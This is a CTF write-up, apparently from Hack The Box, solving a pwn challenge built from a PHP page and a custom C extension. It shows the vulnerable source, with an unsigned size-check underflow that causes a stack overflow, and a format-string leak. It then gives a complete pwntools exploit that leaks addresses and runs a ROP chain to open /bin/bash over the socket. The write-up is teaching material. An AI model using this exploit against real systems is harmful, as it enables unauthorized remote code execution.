Write-Ups
7 min read

Business CTF 2022: higher speed, lower safety - Superfast

This post will cover the solution for the Higher Speed, Lower Safety challenge from the 2022 Business CTF.

Nov 11, 2022
Hack The Box Article

Description

We've tracked connections made from an infected workstation back to this server. We believe it is running a C2 checking interface, the source code of which we acquired from a temporarily exposed Git repository several months ago. Apparently, the engineers behind it are obsessed with speed, extending their programs with low-level code. We think in their search for speed they might have cut some corners - can you find a way in?

🎮 PLAY THE TRACK

Thought of process

Our initial thought was that, we need something interesting, out of the usual, something intriguing but at the same time simple for the user to understand, so that he/she will be hyped to join next year’s CTF and also other CTFs made by us. Thus, instead of just a normal C/C++ vulnerable binary, we decided to make something that includes C and PHP also. Making it more realistic and different from the ordinary pwn challenges we see out there.

Challenge

When decompressing the .zip, we get several files. One of them is the index.php. Taking a look at the code:

<?php if (isset($_SERVER['HTTP_CMD_KEY']) && isset($_GET['cmd'])) { $key = intval($_SERVER['HTTP_CMD_KEY']); if ($key <= 0 || $key > 255) { http_response_code(400); } else { log_cmd($_GET['cmd'], $key); } } else { http_response_code(400); }

Here, we can see log_cmd which is a function from a custom PHP extension, php_logger.so

#include <php.h> #include <stdint.h> #include "php_logger.h" ZEND_BEGIN_ARG_INFO_EX(arginfo_log_cmd, 0, 0, 2) ZEND_ARG_INFO(0, arg) ZEND_ARG_INFO(0, arg2) ZEND_END_ARG_INFO() zend_function_entry logger_functions[] = { PHP_FE(log_cmd, arginfo_log_cmd) {NULL, NULL, NULL} }; zend_module_entry logger_module_entry = { STANDARD_MODULE_HEADER, PHP_LOGGER_EXTNAME, logger_functions, NULL, NULL, NULL, NULL, NULL, PHP_LOGGER_VERSION, STANDARD_MODULE_PROPERTIES }; void print_message(char* p); ZEND_GET_MODULE(logger) zend_string* decrypt(char* buf, size_t size, uint8_t key) { char buffer[64] = {0}; if (sizeof(buffer) - size > 0) { memcpy(buffer, buf, size); } else { return NULL; } for (int i = 0; i < sizeof(buffer) - 1; i++) { buffer[i] ^= key; } return zend_string_init(buffer, strlen(buffer), 0); } PHP_FUNCTION(log_cmd) { char* input; zend_string* res; size_t size; long key; if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) == FAILURE) { RETURN_NULL(); } res = decrypt(input, size, (uint8_t)key); if (!res) { print_message("Invalid input provided\n"); } else { FILE* f = fopen("/tmp/log", "a"); fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f); fclose(f); } RETURN_NULL(); } __attribute__((force_align_arg_pointer)) void print_message(char* p) { php_printf(p); }

By looking into the PHP C API, we can determine that this function takes two arguments:

1) input, a string
2) key, a long (which the PHP file restricts to being between 1-255) size is the size of the string as provided by PHP.
These values are then provided to decrypt(), which returns a zend_string (PHP's string type). This is then appended to /tmp/log.

Decrypt

zend_string* decrypt(char* buf, size_t size, uint8_t key) { char buffer[64] = {0}; if (sizeof(buffer) - size > 0) { memcpy(buffer, buf, size); } else { return NULL; } for (int i = 0; i < sizeof(buffer) - 1; i++) { buffer[i] ^= key; } return zend_string_init(buffer, strlen(buffer), 0); }

This function performs a size check before copying the input onto a local stack buffer. The buffer is then XORed with the value of the key, before initializing and returning a zend_string. It’s pretty straightforward, we do not need to dive deeper. 

Analyzing the Bug

There's a subtle bug here, which is more obvious by looking at the decompiled code.

00001216 if (arg2 == 0x40) { 0000123f rax_1 = nullptr 0000123f } else {

(sizeof(buffer) - size > 0) - both size and sizeof(buffer) are unsigned values. This means that even if size is more than 0x40, the value will underflow to the maximum possible value, passing the check. This gives us a stack overflow, and there are no canaries so we can ROP freely.


This can be seen running checksec:

➜ challenge git:(ECD-8-business-ctf-2022) ✗ checksec php_logger.so Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

However, no leaks are available, and so we aren't able to ROP to any known locations. But, there is a solution. We can overwrite only the first (lowest) byte of the saved RIP, which allows us to change the return location by a short amount. 00001429 is the address (or offset from the library base) we'll be returning to. Which makes this the range of possible addresses:

00001400 mov dword [rax+0x8], 0x1 00001407 jmp 0x14a4 0000140c mov rax, qword [rsp+0x18 {var_30}] 00001411 movzx edx, al 00001414 mov rcx, qword [rsp+0x20 {var_28}] 00001419 mov rax, qword [rsp+0x28 {var_20}] 0000141e mov rsi, rcx 00001421 mov rdi, rax 00001424 call decrypt 00001429 mov qword [rsp+0x38 {var_10_1}], rax 0000142e cmp qword [rsp+0x38 {var_10_1}], 0x0 00001434 jne 0x1447 00001436 lea rax, [rel data_2049] {"Invalid input provided\n"} 0000143d mov rdi, rax {data_2049, "Invalid input provided\n"} 00001440 call print_message 00001445 jmp 0x1499 00001447 lea rax, [rel data_2061] 0000144e mov rsi, rax {data_2061} 00001451 lea rax, [rel data_2063] {"/tmp/log"} 00001458 mov rdi, rax {data_2063, "/tmp/log"} 0000145b call fopen 00001460 mov qword [rsp+0x30 {var_18_1}], rax 00001465 mov rax, qword [rsp+0x38 {var_10_1}] 0000146a mov rax, qword [rax+0x10] 0000146e mov rdx, qword [rsp+0x38 {var_10_1}] 00001473 lea rdi, [rdx+0x18] 00001477 mov rdx, qword [rsp+0x30 {var_18_1}] 0000147c mov rcx, rdx 0000147f mov edx, 0x1 00001484 mov rsi, rax 00001487 call fwrite 0000148c mov rax, qword [rsp+0x30 {var_18_1}] 00001491 mov rdi, rax 00001494 call fclose 00001499 mov rax, qword [rsp {var_48}] 0000149d mov dword [rax+0x8], 0x1 000014a4 add rsp, 0x48 000014a8 retn {__return_addr} 000014a9 int64_t print_message(int64_t arg1) 000014a9 push rbp {__saved_rbp} 000014aa mov rbp, rsp {__saved_rbp} 000014ad and rsp, 0xfffffffffffffff0 000014b1 sub rsp, 0x10 000014b5 mov qword [rsp+0x8 {var_18}], rdi 000014ba mov rax, qword [rsp+0x8 {var_18}] 000014bf mov rdi, rax 000014c2 mov eax, 0x0 000014c7 call php_printf 000014cc nop 000014cd leave {__saved_rbp} 000014ce retn {__return_addr} .text (PROGBITS) section ended {0x10e0-0x14cf} 000014cf 00 . .fini (PROGBITS) section started {0x14d0-0x14dd} 000014d0 int64_t _fini() 000014d0 endbr64 000014d4 sub rsp, 0x8 000014d8 add rsp, 0x8 000014dc retn {__return_addr}

Rop our way around

We need to find a way to ROP which will both provide us leaks, and not break the PHP process - we must send another request once we have leaks. We can ROP to 00001440 call print_message - this is a simple wrapper around php_printf - its prologue also forcefully aligns the stack, ensuring that stack alignment won't be an issue. Returning within the same function we came from also means the stack will be properly adjusted after our payload runs, returning back into the PHP process. php_printf functions similarly to printf in libc - passing user input to the function allows them to pass format specifiers which can produce leaks. By experimenting, we can see that the RDI register still points to our original request input.

We'll begin by passing a single-byte-overwrite payload that begins with many %p- specifiers:

#!/usr/bin/env python3 from pwn import * import urllib.parse def make_payload(buf): buf = list(buf) for i in range(63): buf[i] ^= 1 buf = bytes(buf) payload = "GET /?cmd=" payload += urllib.parse.quote(buf) payload += " HTTP/1.1\n" payload += "User-Agent: Pwner\n" payload += "Host: Pwn.htb\n" payload += "Cmd-Key: 1\n\n" return payload.encode() context.binary = e = ELF("php", checksec=False) log.info("Sending initial payload"); payload = flat({ 0: b'%p-' * 30, 0x98: p8(0x40) }) payload = make_payload(payload) r = remote(args.HOST or "localhost", args.PORT or 1337) r.send(payload) r.recvuntil(b'\r\n\r\n') resp = r.recvall() r.close()

We can determine by some light investigation that one of the leaked pointers is executor_globals, a symbol in the PHP binary. This allows us to rebase the executable to perform ROP:

leak = resp.split(b'-')[5] log.success(f"Leaked executor_globals: {leak}") e.address = int(leak, 16)- e.sym['executor_globals'] log.success(f"PHP base: {hex(e.address)}")

We can now repeat our attack with a normal ROP chain. Since dup2 and execl are both in the PLT of PHP, we can call them. We will dup2 our connection socket (which will be 4) with stdin/stdout/stderr and execute a shell, reusing our connection as a shell.

rop = ROP(e) rop.call('dup2', [4, 0]) rop.call('dup2', [4, 1]) rop.call('dup2', [4, 2]) binsh = next(e.search(b"/bin/bash\x00")) dashi = next(e.search(b"-i\x00")) rop.call('execl', [binsh, binsh, dashi, 0]) log.info(rop.dump()) payload = make_payload(b"A"*0x98 + rop.chain()) log.info("Sending shell payload") r = remote("localhost", 8080) r.send(payload) r.interactive(prompt='')

Real Life

There have been many issues with format string vulnerability in C/C++ and even in PHP and python. For the PHP, some of them can be found in the link. Most of them can be easily patched by adding the corresponding "%s", "%d" format specifiers instead of printf(buffer); Apart from just leaking stuff to someone, with the Format String Vulnerability, someone also has the opportunity to overwrite addresses in memory, causing severe damage and potentially obtaining shell to the server running the binary.